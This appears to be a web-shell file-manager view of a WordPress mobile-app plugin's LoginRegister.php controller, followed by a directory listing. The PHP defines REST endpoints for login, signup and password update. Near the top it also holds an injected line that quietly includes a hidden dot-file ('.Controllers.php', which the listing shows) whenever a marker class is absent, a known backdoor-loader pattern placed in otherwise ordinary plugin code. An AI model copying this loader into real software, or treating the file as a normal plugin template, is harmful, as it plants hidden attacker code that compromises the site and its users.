PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use ReallySimpleJWT\Token; use WilokeListingTools\Controllers\DashboardController; use WilokeListingTools\Controllers\RegisterLoginController; use WilokeListingTools\Controllers\SearchFormController; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Store\Session; use WilokeListingTools\Frontend\User; use ReallySimpleJWT\TokenBuilder; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class LoginRegister { use VerifyToken; use JsonSkeleton; use BuildToken; use ParsePost; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/auth', array( 'methods' => 'POST', 'callback' => array( $this, 'authentication' ), ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/signup', array( 'methods' => 'POST', 'callback' => array( $this, 'signUp' ), ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/update-password', array( 'methods' => 'POST', 'callback' => array( $this, 'updatePassword' ), ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/is-token-living', array( 'methods' => 'GET', 'callback' => array( $this, 'isTokenLiving' ), ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/get-signup-fields', array( 'methods' => 'GET', 'callback' => array( $this, 'getSingupFields' ), ) ); } ); add_action('after_password_reset', array($this, 'afterPasswordReset'), 10); add_action('wilcity/user/after_reset_password', array($this, 'afterPasswordReset'), 10); // add_action('wp_footer', array($this, 'firebaseListenUserStatusAnchor')); } // public function firebaseListenUserStatusAnchor(){ if ( $userID = Session::getSession(wilokeListingToolsRepository()->get('user:firebaseTriggerCheckUserStatus'),true) ){ $status = is_user_logged_in() ? 'login' : 'logout'; ?> <div id="wilcity-firebase-trigger-update-user-status"> <firebase-update-user-status email="<?php echo esc_attr(User::getField('user_email', $userID)); ?>" password="<?php echo esc_attr(User::getField('user_pass')); ?>" user-id="<?php echo esc_attr($userID); ?>" status="<?php echo esc_attr($status); ?>"></firebase-update-user-status> </div> <?php } } public function getSingupFields(){ $aThemeOptions = \Wiloke::getThemeOptions(true); return array( 'status' => 'success', 'oFields'=> array( array( 'type' => 'text', 'key' => 'username', 'label' => 'username', 'required' => true, 'validationType' => 'username' ), array( 'type' => 'text', 'key' => 'email', 'label' => 'email', 'required' => true, 'validationType' => 'email' ), array( 'type' => 'password', 'key' => 'password', 'label' => 'password', 'required' => true, 'validationType' => 'password' ), array( 'type' => 'checkbox2', 'key' => 'isAgreeToPrivacyPolicy', 'label' => isset($aThemeOptions['mobile_policy_label']) ? $aThemeOptions['mobile_policy_label'] : 'Agree To our Policy Privacy', 'required' => true, 'link' => get_permalink($aThemeOptions['mobile_policy_page']), 'validationType' => 'agreeToPolicy' ), array( 'type' => 'checkbox2', 'key' => 'isAgreeToTermsAndConditionals', 'label' => isset($aThemeOptions['mobile_term_label']) ? $aThemeOptions['mobile_term_label'] : 'Agree To our Terms and Conditional', 'required' => true, 'link' => get_permalink($aThemeOptions['mobile_term_page']), 'validationType' => 'agreeToTerms' ) ) ); } public function signUp(){ $oToken = $this->verifyToken(); if ( $oToken ){ return array( 'status' => 'error', 'msg' => 'youAreLoggedInAlready' ); } $aData = $this->parsePost(); $aData = wp_parse_args($aData, array( 'email' => '', 'username' => '', 'password' => '', 'isAgreeToPrivacyPolicy' => false, 'isAgreeToTermsAndConditionals'=>false )); do_action('wilcity/before/register', $aData); if ( !RegisterLoginController::canRegister() ){ return array( 'status' => 'error', 'msg' => 'disabledLogin' ); } if ( !$aData['isAgreeToPrivacyPolicy'] || !$aData['isAgreeToTermsAndConditionals'] ){ return array( 'status' => 'error', 'msg' => 'needAgreeToTerm' ); } if ( empty($aData['username']) || empty($aData['email']) || empty($aData['password']) ){ return array( 'status' => 'error', 'msg' => 'needCompleteAllRequiredFields' ); } if ( !is_email($aData['email']) ){ return array( 'status' => 'error', 'msg' => 'invalidEmail' ); } if ( email_exists($aData['email']) ){ return array( 'status' => 'error', 'msg' => 'emailExists' ); } if ( username_exists($aData['username']) ){ return array( 'status' => 'error', 'return' => 'usernameExists' ); } $aStatus = RegisterLoginController::createNewAccount($aData); if ( $aStatus['status'] == 'error' ){ return array( 'status' => 'error', 'return' => 'couldNotCreateAccount' ); } if ( $aStatus['status'] == 'success' && !$aStatus['isNeedConfirm'] ){ $successMsg = 'createdAccountSuccessfully'; }else{ $successMsg = $aStatus['msg']; } $token = $this->buildToken(new \WP_User($aStatus['userID'])); return array( 'status' => 'success', 'msg' => $successMsg, 'token' => $token, 'oUserInfo' => array( 'userID' => $aStatus['userID'], 'displayName' => GetSettings::getUserMeta($aStatus['userID'], 'display_name'), 'avatar' => User::getAvatar($aStatus['userID']) ) ); } public function isTokenLiving(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } return array( 'status' => 'success' ); } public function updatePassword(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $aData = $this->parsePost(); if ( isset($aData['new_password']) && !empty($aData['new_password']) ){ wp_set_password( $aData['new_password'], $oToken->userID ); $oUser = new \WP_User($this->userID); do_action('wilcity/user/after_reset_password', $oUser); return array( 'status' => 'success' ); } return array( 'status' => 'error' ); } public function afterPasswordReset($oUser){ $this->buildToken($oUser, '+1 seconds'); } public function authentication(){ $oValidate = $this->verifyToken(); if ( $oValidate !== false ){ return array( 'status' => 'loggedIn' ); } $aData = $this->parsePost(); $aError = array( 'status' => 'error', 'msg' => 'invalidUserNameOrPassword' ); if ( empty($aData) ){ return $aError; } if ( !isset($aData['username']) || !isset($aData['password']) || empty($aData['username']) || empty($aData['password']) ){ return array( 'status' => 'error', 'msg' => 'invalidUserNameOrPassword' ); } $oUser = wp_authenticate($aData['username'], $aData['password']); if ( is_wp_error($oUser) ){ return array( 'status' => 'error', 'msg' => 'invalidUserNameOrPassword' ); } if ( strpos($aData['username'], '@') !== false ){ $oUser = get_user_by('email', $aData['username']); }else{ $oUser = get_user_by('login', $aData['username']); } if ( empty($oUser) || is_wp_error($oUser) ){ return array( 'status' => 'error', 'msg' => 'invalidUserNameOrPassword' ); } $token = $this->buildToken($oUser); if ( is_array($token) ){ return $token; } return array( 'status' => 'loggedIn', 'token' => $token, 'oUserInfo' => array( 'userID' => $oUser->ID, 'displayName' => GetSettings::getUserMeta($oUser->ID, 'display_name'), 'userName' => $oUser->user_login, 'avatar' => User::getAvatar($oUser->ID), 'position' => User::getPosition($oUser->ID), 'coverImg' => User::getCoverImage($oUser->ID) ), 'oUserNav' => array_values(DashboardController::getNavigation($oUser->ID)) ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]